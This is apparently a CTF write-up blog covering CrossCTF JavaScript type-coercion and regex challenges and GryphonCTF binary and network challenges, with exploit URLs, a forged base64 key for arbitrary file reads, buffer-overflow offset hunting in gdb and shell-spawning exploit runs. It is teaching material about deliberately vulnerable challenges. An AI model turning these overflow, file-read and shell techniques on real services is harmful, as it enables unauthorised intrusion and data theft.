I did not participate in this competition, but I was asked by the organisers to take a look at the challenges.
Here are my analysis and solutions for 5 web challenges which I thought were rather interesting.
Enjoy!
QuirkyScript 1
Problem
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
varflag=require("./flag.js");varexpress=require('express')varapp=express()app.get('/flag',function(req,res){if(req.query.first){if(req.query.first.length==8&&req.query.first==",,,,,,,"){res.send(flag.flag);return;}}res.send("Try to solve this.");});app.listen(31337)
Analysis
Observe that in the source code provided, loose equality comparison (==) is used instead of strict equality comparison (===).
Loose equality compares two values for equality after converting both operands to a common type. When in doubt, refer to the documentation on equality comparisons and sameness!
Let’s look at the comparison req.query.first == ",,,,,,,":
If req.query.first is a String – no type conversion is performed as both operands are of a common type.
If req.query.first is an Object – type conversion is performed on req.query.first to String by invoking req.query.first.toString() before comparing both operands.
In Express, req.query is an object containing the parsed query string parameters – so req.query.first can either be a string (?first=) or an array (?first[]=).
In JavaScript, an arrray is a list-like Object. Furthermore, Array.toString() returns a string representation of the array values, concatenating each array element separated by commas, as shown below:
>['a'].toString()a>['a','b'].toString()a,b
Solution
As such, we can set req.query.first as an array with length 8 containing only empty strings to make the string representation return ,,,,,,, to satisfy both conditions:
varflag=require("./flag.js");varexpress=require('express')varapp=express()app.get('/flag',function(req,res){if(req.query.second){if(req.query.second!="1"&&req.query.second.length==10&&req.query.second==true){res.send(flag.flag);return;}}res.send("Try to solve this.");});app.listen(31337)
Analysis
Similar to QuirkyScript 1, req.query.second can either be a string or an array. Observe that loose equality comparison is done in req.query.second == true, so if req.query.second is a string, both operands are converted to numbers before comparing both values.
Note: The behavior of the type conversion to number is equivalent to the unary + operator (e.g. +"1"):
>true==+true==1true>"1"==+"1"==1==truetrue
One thing to note about such type conversions is that the parsing of value is performed quite leniently to avoid returning errors for minor issues detected:
>+" 1 "1>+" 00001"1
Solution
Since req.query.second != "1" performs string comparison without type conversions, we can obtain the flag by supplying a truthy value with 10 characters in second query string parameter:
http://ctf.pwn.sg:8082/flag?second=0000000001
Flag:CrossCTF{M4ny_w4ys_t0_mak3_4_numb3r}
QuirkyScript 3
Problem
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
varflag=require("./flag.js");varexpress=require('express')varapp=express()app.get('/flag',function(req,res){if(req.query.third){if(Array.isArray(req.query.third)){third=req.query.third;third_sorted=req.query.third.sort();if(Number.parseInt(third[0])>Number.parseInt(third[1])&&third_sorted[0]==third[0]&&third_sorted[1]==third[1]){res.send(flag.flag);return;}}}res.send("Try to solve this.");});app.listen(31337)
Analysis
Observe that req.query.third.sort() is invoked above, so req.query.third has to be an array since string does not have a sort() prototype method.
The following conditions need to be satisfied to obtain the flag:
Number.parseInt(third[0]) > Number.parseInt(third[1]) – first element must be larger than the second element after converting both elements to numbers
third_sorted[0] == third[0] and third_sorted[1] == third[1] – the elements in third must retain the same order even after being sorted
As pointed out in the documentation, if no custom comparition function is supplied to Array.prototype.sort(), all non-undefined array elements are sorted by (1) converting them to strings and (2) comparing string comparisons in UTF-16 code point order.
Such lexical sorting differs from numeric sorting. For example, 10 comes before “2” when sorting based on their UTF-16 code point:
To obtain the flag, we can set third query string parameter as an array with 10 as first element and 2 as second element:
http://ctf.pwn.sg:8083/flag?third[0]=10&third[]=2
Flag:CrossCTF{th4t_r0ck3t_1s_hug3}
QuirkyScript 4
Problem
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
varflag=require("./flag.js");varexpress=require('express')varapp=express()app.get('/flag',function(req,res){if(req.query.fourth){if(req.query.fourth==1&&req.query.fourth.indexOf("1")==-1){res.send(flag.flag);return;}}res.send("Try to solve this.");});app.listen(31337)
Analysis
If req.query.fourth is a string containing a truthy value, it is not possible to satisfy the req.query.fourth.indexOf("1") == -1 condition.
Let’s look at what we can do if req.query.fourth is an array instead. Type conversion happens on req.query.fourth in req.query.fourth == 1 before comparing the operands:
Since Array.prototype.indexOf(element) returns the index of the first matching element in the array, or -1 if it does not exist, we can satisfy req.query.fourth.indexOf("1") == -1 if the string "1" is not in the array.
Solution 1
One possible solution is to leverage the relaxed parsing of integer values from strings as discussed in QuirkyScript 2:
Visiting http://ctf.pwn.sg:8084/flag?fourth[][]=1gives the flag.
Flag:CrossCTF{1m_g0ing_hungry}
QuirkyScript 5
Problem
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
varflag=require("./flag.js");varexpress=require('express')varapp=express()app.get('/flag',function(req,res){varre=newRegExp('^I_AM_ELEET_HAX0R$','g');if(re.test(req.query.fifth)){if(req.query.fifth===req.query.six&&!re.test(req.query.six)){res.send(flag.flag);}}res.send("Try to solve this.");});app.listen(31337)
Analysis
Referring to the documentation for RegExp.prototype.test(), an interesting behaviour of regular expressions with g (global) flag set is noted:
test() will advance the lastIndex of the regex.
Further calls to test(str) will resume searching str starting from lastIndex.
The lastIndex property will continue to increase each time test() returns true.
Note: As long as test() returns true, lastIndex will not reset—even when testing a different string!
Solution
After the call to re.test(req.query.fifth), re.lastIndex is no longer 0 if req.query.fifth is set to I_AM_ELEET_HAX0R.
By setting req.query.six to I_AM_ELEET_HAX0R, we can make re.test(req.query.six) return false:
/**
* Created for the GryphonCTF 2017 challenges
* By Amos (LFlare) Ng <[email protected]>
**/#include <stdio.h>
#include <stdlib.h>
#include <string.h>
intmain(intargc){// Create buffercharbuf[32]={0x00};intkey=0x00;// Disable output bufferingsetbuf(stdout,NULL);// Get key?printf("Key? ");scanf("%d",&key);// Create file descriptorintfd=key-0x31337;intlen=read(fd,buf,32);// Check if we have a winnerif(!strcmp("GIMMEDAFLAG\n",buf)){system("/bin/cat flag.txt");exit(0);}// Return sadfacereturn1;}
Analysis
The important section of the code is as follows:
scanf("%d",&key);// user input// Create file descriptorintfd=key-0x31337;// compute file descriptor numberintlen=read(fd,buf,32);// here, we want to read from stdin// Check if we have a winnerif(!strcmp("GIMMEDAFLAG\n",buf)){// string comparison of our input with static stringsystem("/bin/cat flag.txt");// get flag!exit(0);}
We want to ensure that read() reads from standard input (fd = 0) so that the program can receive user input. To do this, we simply set key = 0x31337 and send it over in its decimal representative (not hex representative!).
After that, we send "GIMMEDAFLAG\n" to ensure that !strcmp("GIMMEDAFLAG\n", buf) evaluates to true and end up calling system("/bin/cat flag.txt").
$ python exploit.py
[+] Opening connection to pwn2.chal.gryphonctf.com on port 17346: Done
[+] Receiving all data: Done (33B)[*] Closed connection to pwn2.chal.gryphonctf.com port 17346
GCTF{f1l3_d35cr1p70r5_4r3_n457y}
Flag:GCTF{f1l3_d35cr1p70r5_4r3_n457y}
PseudoShell
Problem
Description:
I managed to hook on to a shady agency’s server, can you help me secure it? nc pwn2.chal.gryphonctf.com 17341
/**
* Created for the GryphonCTF 2017 challenges
* By Amos (LFlare) Ng <[email protected]>
**/#include <stdio.h>
#include <stdlib.h>
#include <string.h>
intlogin(){// Declare login variablesintaccess=0xff;charpassword[16];// Get passwordputs("Warning: Permanently added 'backend.cia.gov,96.17.215.26' (ECDSA) to the list of known hosts.");printf("[email protected]'s password: ");// Add one more to fgets for null bytefgets(password,17,stdin);returnaccess;}intmain(){// Disable output bufferingsetbuf(stdout,NULL);// Declare main variablescharinput[8];// Send canned greetingputs("The authenticity of host 'backend.cia.gov (96.17.215.26)' can't be established.");puts("ECDSA key fingerprint is SHA256:1loFo62WjwvamuIcfhqo4O2PNdltJgSJ7fB3GpKLm4o.");printf("Are you sure you want to continue connecting (yes/no)? ");// Add one more to fgets for null bytefgets(input,9,stdin);// Log user inintaccess=login();// Check privilegesif(access>=0xff||access<0){puts("INVALID ACCOUNT ACCESS LEVEL!");}elseif(access<=0x20){puts("SUCCESSFULLY LOGGED IN AS ADMIN!");system("/bin/sh");}else{puts("SUCCESSFULLY LOGGED IN AS USER!");puts("ERROR: YOU HAVE BEEN FIRED!");exit(1);}}
Analysis
There is an obvious off-by-one write vulnerability in both login() and main():
intlogin(){// Declare login variablesintaccess=0xff;charinput[8];...// Add one more to fgets for null bytefgets(input,9,stdin);...}intmain(){...// Declare main variablescharinput[8];...// Add one more to fgets for null bytefgets(input,9,stdin);}
Our goal is to make access <= 0x20 so that we can get shell and read the flag file:
// Log user inintaccess=login();// Check privileges...elseif(access<=0x20){puts("SUCCESSFULLY LOGGED IN AS ADMIN!");system("/bin/sh");}
Notice that in login(), int access = 0xff; is placed directly before char input[8];.
Since the binary uses little-endian, access is stored as \x00\x00\x00\xff in memory.
As such, the off-by-one write causes the last byte of user input to overflow and overwrite the least significant byte of int access.
To get the shell, we can simply send 16 characters to fill the password and any character with decimal value <= 0x20.
$ python exploit.py
[+] Opening connection to pwn2.chal.gryphonctf.com on port 17341: Done
[*] Switching to interactive mode
SUCCESSFULLY LOGGED IN AS ADMIN!
$ ls-al
total 32
drwxr-xr-x 1 root root 4096 Oct 4 13:22 .
drwxr-xr-x 1 root root 4096 Oct 4 13:16 ..
-rw-r--r-- 1 root root 220 Oct 4 13:16 .bash_logout
-rw-r--r-- 1 root root 3771 Oct 4 13:16 .bashrc
-rw-r--r-- 1 root root 655 Oct 4 13:16 .profile
-r--r----- 1 root pseudoshell 30 Sep 30 17:57 flag.txt
-rwxr-sr-x 1 root pseudoshell 7628 Sep 30 17:57 pseudoshell
$ cat flag.txt
GCTF{0ff_by_0n3_r34lly_5uck5}
Flag:GCTF{0ff_by_0n3_r34lly_5uck5}
FileShare
Problem
Description:
I created this service where you can leave files for other people to view!
I have been getting good reviews..what do you think about it? nc pwn1.chal.gryphonctf.com 17342
This is a remote-only challenge.
Analysis
Let’s netcat in to understand more about the service.
$ nc pwn1.chal.gryphonctf.com 17342
`ohmmmmmmmmmmmmmmmmmh:
-NMMhyyyyyyyyyyyyyyNMMMd:
sMMo mMMNMMd:
sMMo mMM-+mMMd:
sMMo mMM/.-sMMMd:
sMMo mMMMMMMMMMMMo
sMMo :////////yMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
oMMs oMMs
oMMs oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
-NMMhyyyyyyyyyyyyyyyyyyyyyyhMMN-`ohmmmmmmmmmmmmmmmmmmmmmmmmho`
YOU ARE ZE NO.58875 USER
WELCOME TO THE GREATEST FILE SHARING SERVICE IN ALL OF ZE WORLD!
a) CREATE FILE
b) VIEW FILE
YOUR INPUT => b
YOU HAVE CHOSEN TO VIEW FILE
PLEASE INPUT KEY! => ABCDE
Traceback (most recent call last):
File "/home/fileshare/FS.py", line 29, in gets
kkkk=base64.b64decode(filename).decode()
File "/usr/lib/python3.5/base64.py", line 88, in b64decode
return binascii.a2b_base64(s)
binascii.Error: Incorrect padding
Wrong key, no such file
GOODBYE!
Interesting! Upon reading an invalid filename (non-Base64 encoded), the stack trace is dumped.
From the stack trace, we can see the filename of the service /home/fileshare/FS.py is being leaked.
Let’s try creating a file and reading it to see if it works as expected:
$ nc pwn1.chal.gryphonctf.com 17342
...
YOUR INPUT => a
YOU HAVE CHOSEN TO MAKE FILE!
PLEASE INPUT NAME!(3-5 CHARAS ONLY)=> AAAAA
PLEASE INPUT MESSAGE => BBBBBBBBBBBBBBBBBBBB
FILES CREATED! HERE IS YOUR KEY WydmaWxlcy9RR1YnLCAnQUFBQUEnXQ==
GOODBYE!
$ nc pwn1.chal.gryphonctf.com 17342
YOUR INPUT => b
YOU HAVE CHOSEN TO VIEW FILE
PLEASE INPUT KEY! =>WydmaWxlcy9RR1YnLCAnQUFBQUEnXQ==
~~~~~~~~~~~~~~~~~~~~~~~~
FILE FROM: AAAAA
FILE CONTENTS:
BBBBBBBBBBBBBBBBBBBB
…and the program works as advertised.
Let’s take a closer look at the Base64 key generated by the server:
This suggests that perhaps it is reading from ./files/QGV. What if we trick the service to read FS.py (the python script for the service) instead?
$ echo"['./FS.py', 'AAAAA']" | base64
WycuL0ZTLnB5JywgJ0FBQUFBJ10K
$ nc pwn1.chal.gryphonctf.com 17342
...
YOUR INPUT => b
YOU HAVE CHOSEN TO VIEW FILE
PLEASE INPUT KEY! => WycuL0ZTLnB5JywgJ0FBQUFBJ10K
~~~~~~~~~~~~~~~~~~~~~~~~
FILE FROM: AAAAA
FILE CONTENTS:
#!/usr/bin/env python3
import base64
import ast
from datetime import datetime
import time
import os
import socket
import threading
import random
import traceback
def check(stri):
k=0
for i in stri:
k=k+ord(i)return k
def filename():
return''.join(random.choice("QWERTYUIOPASDFGHJKLZXCVBNM")for i in range(3))
def create(line,nam,c):
k="/home/fileshare/"name="files/"+filename()f=open(k+name,"w")
print(line,file=f)n=[name,nam]
k=str(n)return base64.b64encode(k.encode()).decode()
def gets(filename,c):
kul="/home/fileshare/"
try:
kkkk=base64.b64decode(filename).decode()l=ast.literal_eval(kkkk)if len(l)==2 and len(l[1])>=3:
c.sendall("~~~~~~~~~~~~~~~~~~~~~~~~\n\nFILE FROM: {}\nFILE CONTENTS: \n\n".format(l[1]).encode())f=open(kul+l[0],"r")jj=f.readlines()for i in jj:
z=i
c.sendall(z.encode())
c.sendall("\n\n~~~~~~~~~~~~~~~~~~~~~~~~\n\n".encode())else:
c.sendall("INVALID KEY!\n".encode())
except Exception as e:
error=traceback.format_exc()
c.sendall(error.encode())z="Wrong key, no such file\n"
c.sendall(z.encode())
def start(c,a,user):
kkk="QQTLBFVLZFCJHABTKQWYYTBLTLNENP"
try:
c.sendall('''
`ohmmmmmmmmmmmmmmmmmh:
-NMMhyyyyyyyyyyyyyyNMMMd:
sMMo mMMNMMd:
sMMo mMM-+mMMd:
sMMo mMM/.-sMMMd:
sMMo mMMMMMMMMMMMo
sMMo :////////yMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
oMMs oMMs
oMMs oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
sMMo oMMs
-NMMhyyyyyyyyyyyyyyyyyyyyyyhMMN-
`ohmmmmmmmmmmmmmmmmmmmmmmmmho`
YOU ARE ZE NO.{} USER
WELCOME TO THE GREATEST FILE SHARING SERVICE IN ALL OF ZE WORLD!
a) CREATE FILE
b) VIEW FILE
YOUR INPUT => '''.format(user).encode())
c.settimeout(2*60)r=c.recv(100).decode().strip()if r=="a":
c.sendall("YOU HAVE CHOSEN TO MAKE FILE!\nPLEASE INPUT NAME!(3-5 CHARAS ONLY) => ".encode())
c.settimeout(60*2)nam=c.recv(135).decode().strip()
c.sendall("PLEASE INPUT MESSAGE => ".encode())lll=c.recv(125).decode().strip()
print(len(nam))
print(len(lll))if len(lll)>130 or (len(nam)<3 or len(nam)>5):
c.sendall("sorry invalid input :(\n".encode())
c.sendall("GOODBYE!\n".encode())
c.close()else:
key=create(lll,nam,c)z="FILES CREATED! HERE IS YOUR KEY "+key
c.sendall(z.encode())
c.sendall("\nGOODBYE!\n".encode())
c.close()elif r=="b":
c.sendall("YOU HAVE CHOSEN TO VIEW FILE\nPLEASE INPUT KEY! => ".encode())
c.settimeout(60*2)lll=c.recv(100).decode().strip()if(len(lll)>33):
c.sendall("KEY TOO LONG, INVALID\nGOODBYE\n".encode())
c.close()else:
gets(lll,c)
c.sendall("GOODBYE!\n".encode())
c.close()elif r==kkk:
f=open("/home/fileshare/flag/thisisalongnameforadirectoryforareasonflag.txt","r")k=f.readline()z="HELLO ADMINISTRATOR!\n~~~WELCOME TO THE ADMIN PORTAL~~~\n a) LIST ALL FILES\n b) PRINT FLAG\nYOUR INPUT => "
c.sendall(z.encode())
c.settimeout(60*2)h=c.recv(3).decode().strip()if h=="a":
k=os.listdir("/home/fileshare/files/")for i in k:
i="- "+i+"\n"
c.sendall(i.encode())
c.sendall("GOODBYE\n".encode())elif h=="b":
c.sendall("PASSWORD PLS ! =>".encode())
c.settimeout(60*2)z=c.recv(10).decode().strip()if int(z)==check("REALADMIN"):
c.sendall("HERES THE FLAG!\n".encode())
c.sendall(k.encode())else:
c.sendall("YOU ARE NOT REAL ADMIN! BYE\n".encode())else:
c.sendall("INVALID!\nGOODBYE!\n".encode());
c.close()else:
c.sendall("invalid input!\n".encode())
c.close()
except Exception as e:
error=traceback.format_exc()
c.sendall(error.encode())
c.close()socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socket.bind(('0.0.0.0',49760))
print(socket)
socket.listen(5)user=0
while True:
c,a=socket.accept()user=user+1
t=threading.Thread(target=start,args=(c,a,user))
t.start()
socket.close()
Wow! That actually worked, and now we have successfully leaked the source code of the service.
Let’s focus on the notable portions of the code:
kkk="QQTLBFVLZFCJHABTKQWYYTBLTLNENP"try:...ifr=="a":...elifr=="b":...lll=c.recv(100).decode().strip()if(len(lll)>33):c.sendall("KEY TOO LONG, INVALID\nGOODBYE\n".encode())c.close()else:gets(lll,c)...elifr==kkk:f=open("/home/fileshare/flag/thisisalongnameforadirectoryforareasonflag.txt","r")...h=c.recv(3).decode().strip()ifh=="a":...elifh=="b":c.sendall("PASSWORD PLS ! =>".encode())c.settimeout(60*2)z=c.recv(10).decode().strip()ifint(z)==check("REALADMIN"):c.sendall("HERES THE FLAG!\n".encode())c.sendall(k.encode())
It seems that there is a hidden menu activated by entering QQTLBFVLZFCJHABTKQWYYTBLTLNENP, followed by b, and finally an input z containing an integer matching the value of check("REALADMIN"). Finally, if all the above checks are successful, the flag is printed using c.sendall(k.encode()).
Solution
First, we compute the integer value returned by check("REALADMIN"):
Now, we can simply trigger the hidden menu and get the flag:
$ nc pwn1.chal.gryphonctf.com 17342
...
YOUR INPUT => QQTLBFVLZFCJHABTKQWYYTBLTLNENP
HELLO ADMINISTRATOR!
~~~WELCOME TO THE ADMIN PORTAL~~~
a) LIST ALL FILES
b) PRINT FLAG
YOUR INPUT => b
PASSWORD PLS !=> 653
HERES THE FLAG!
GCTF{in53cur3_fi13_tr4n5f3r}
Pitfalls
It’s important to also note that we cannot forge the key to read from the flag, as the filepath is too long as len('flag/thisisalongnameforadirectoryforareasonflag.txt') > 33 is true, so the filepath to the flag will be rejected by the service:
if(len(lll)>33):c.sendall("KEY TOO LONG, INVALID\nGOODBYE\n".encode())c.close()else:gets(lll,c)...
Flag:GCTF{in53cur3_fi13_tr4n5f3r}
Tsundeflow
Problem
Description:
This one is a handful. pwn2.chal.gryphonctf.com 17343
/**
* Created for the GryphonCTF 2017 challenges
* By Amos (LFlare) Ng <[email protected]>
**/#include <stdio.h>
#include <stdlib.h>
#include <string.h>
intwin(){puts("B-baka! It's not like I like you or anything!");system("/bin/sh");}intmain(){// Disable output bufferingsetbuf(stdout,NULL);// Declare main variablescharinput[32];// User prefaceputs("I check input length now! Your attacks have no effect on me anymore!!!");printf("Your response? ");// Read user inputscanf("%s",input);// "Check" for buffer overflowif(strlen(input)>32){exit(1);}}
Analysis
Notice that scanf("%s", input); is being used, and there is a strlen(input) > 32 check for input.
Using the %s format specifier does not limit the number of characters to be read into the variable, so we can write more than 32 bytes into input and overflow and replace the stored return address.
To pass the strlen check, we can exploit yet another property of scanf("%s") – it does not stop when reading a null byte, but instead, stops at spaces! In other words, we can send an input that has <= 32 bytes of padding, followed by a null byte, more padding and finally the address of win().
To calculate the number of padding bytes needed to reach the stored return address from input, we can use gdb with GEF:
$ gdb ./tsundeflow-redacted-fb0908a3d9a30c4029acfdfd5bdbe313
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
gef➤ pattern create 100
gef➤ r < <(python -c'print "A"*31 + "\x00" + "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"')
Starting program: ./tsundeflow-redacted-fb0908a3d9a30c4029acfdfd5bdbe313 < <(python -c'print "A"*31 + "\x00" + "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"')
I check input length now! Your attacks have no effect on me anymore!!!
Your response?
Program received signal SIGSEGV, Segmentation fault.
0x61616261 in ?? ()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax : 0x00000000
$ebx : 0x00000000
$ecx : 0x00000018
$edx : 0x00000008
$esp : 0xffffd480 → "acaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaao[...]"$ebp : 0x61616100
$esi : 0xf7fb1000 → 0x001b1db0
$edi : 0xf7fb1000 → 0x001b1db0
$eip : 0x61616261 ("abaa"?)$cs : 0x00000023
$ss : 0x0000002b
$ds : 0x0000002b
$es : 0x0000002b
$fs : 0x00000000
$gs : 0x00000063
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xffffd480│+0x00: "acaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaao[...]" ← $esp
0xffffd484│+0x04: "adaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaap[...]"
0xffffd488│+0x08: "aeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaq[...]"
0xffffd48c│+0x0c: "afaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaar[...]"
0xffffd490│+0x10: "agaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaas[...]"
0xffffd494│+0x14: "ahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaat[...]"
0xffffd498│+0x18: "aiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaau[...]"
0xffffd49c│+0x1c: "ajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaav[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "tsundeflow-reda", stopped, reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ pattern search 0x61616261
[+] Searching '0x61616261'[+] Found at offset 4 (little-endian search) likely
[+] Found at offset 1 (big-endian search)
From above, we can see that the stored return address is at 4 bytes offset from input[32].
$ python exploit.py
[+] Opening connection to pwn2.chal.gryphonctf.com on port 17343: Done
[*] Switching to interactive mode
B-baka! It's not like I like you or anything!
$ ls -al
total 32
drwxr-xr-x 1 root root 4096 Oct 4 13:24 .
drwxr-xr-x 1 root root 4096 Oct 4 13:16 ..
-rw-r--r-- 1 root root 220 Oct 4 13:16 .bash_logout
-rw-r--r-- 1 root root 3771 Oct 4 13:16 .bashrc
-rw-r--r-- 1 root root 655 Oct 4 13:16 .profile
-r--r----- 1 root tsundeflow 43 Sep 30 17:57 flag.txt
-rwxr-sr-x 1 root tsundeflow 7636 Sep 30 17:57 tsundeflow
$ cat flag.txt
GCTF{51mpl3_buff3r_0v3rfl0w_f0r_75und3r35}
Flag:GCTF{51mpl3_buff3r_0v3rfl0w_f0r_75und3r35}
ShellMethod
Problem
Description:
I’ve taken the previous challenge, tossed away the personality and replaced it with a stone cold robot AI. nc pwn2.chal.gryphonctf.com 17344
/**
* Created for the GryphonCTF 2017 challenges
* By Amos (LFlare) Ng <[email protected]>
**/#include <stdio.h>
#include <stdlib.h>
#include <string.h>
intvuln(){// Declare main variablescharcommand[64];// Get user's inputputs("PLEASE STATE YOUR COMMAND.");printf("Your response? ");gets(command);}intmain(){// Disable output bufferingsetbuf(stdout,NULL);// Greet and meetputs("HELLO. I AM SMARTBOT ALPHA 0.1.0.");vuln();// Deny user wishes immediately.puts("YOUR WISHES ARE DENIED.");}
Analysis
An obvious unbounded reading of input via gets() function should be spotted from the above code.
Notice that the file does not come with any system("/bin/cat flag.txt") or system("/bin/sh") calls.
Let’s examine the security features that the executable has enabled before continuing:
$ checksec --file shellmethod-redacted-c6b75effab2d83da5a5a2d394a8d5c83
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No 0 4 shellmethod-redacted-c6b75effab2d83da5a5a2d394a8d5c83
Great! No-eXecute (NX) bit is disabled, so we can easily gain arbitrary code execution by returning to our shellcode stored on the stack (if ASLR is disabled on the server)!
We see that the memory address location of stack variable command[64] is loaded into $eax at 0x080484eb <+32>. This means that $eax points to the start of command[64], which is our input!
Now, we just need to find a call eax or jmp eax instruction in the executable and insert an appropriate shellcode to do execve('/bin/sh'). Luckily for us, call eax instruction exists in the deregister_tm_clones()!